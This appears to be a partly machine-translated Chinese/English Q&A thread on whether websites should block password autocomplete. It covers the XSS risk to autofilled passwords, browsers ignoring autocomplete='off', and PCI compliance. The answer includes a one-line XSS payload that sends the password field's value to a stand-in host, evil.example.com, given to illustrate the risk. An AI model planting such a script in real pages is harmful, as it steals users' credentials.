我应该阻止密码自动完成吗?

Should I prevent password autocomplete?

关于如何 有很多replies here 可以防止密码表单元素自动完成。我的问题是我们应该吗?

根据UK government;强制重设密码(我们经常被客户要求这样做)描述了 安全方面的净损失,并且积极劝阻。

根据Mozilla; forcing password autocomplete off also suggests a net-loss in security. The UK .gov website doesn't mention这个特殊的做法。

我的问题:

// 请引用您的来源。

更新: My blog 如果你想在浏览器中尝试这个,My blog 有一个概念证明。

允许密码自动完成的典型风险是您网站上的任何 XSS 漏洞都将允许攻击者获取密码。这是因为浏览器会自动完成密码字段值,因此它在 DOM.

中可用
<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>

但是,如果攻击者可以在他们的 XSS 攻击中自己注入一个密码字段,那么无论您的真实密码字段上的自动完成设置如何,他们都可以注入一个启用了自动完成的密码字段。不过,传统上,该属性首先会阻止密码被保存,因此在任何攻击中都无法自动完成。

根据您的 Mozilla link,浏览器现在忽略 autocomplete="off":

  • if a site sets autocomplete="off" for a form, and the form includes username and password input fields, then the browser will still offer to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits this page.
  • if a site sets autocomplete="off" for username and password input fields, then the browser will still offer to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits this page.

This is the behavior in Firefox (since version 38), Google Chrome (since 34), and Internet Explorer (since version 11).

因此,您问题的答案是“没有任何区别”。此外,浏览器有时会在完成登录凭据之前提示,并且 Lastpass 等密码管理器可以设置为在用户选择首先使用哪个登录名的情况下不自动完成字段。一些漏洞扫描器(以及因此依赖这些的渗透测试者)可能会引发一个低风险问题,即在密码字段上启用自动完成。如果是这样,您应该能够自信地将它们指向 Mozilla link 的方向。 但是,需要注意的一件事是,如果您要获得 PCI 合规性,您可能仍需要对此进行补救。请参阅 my blog post 以获得更深入的分析。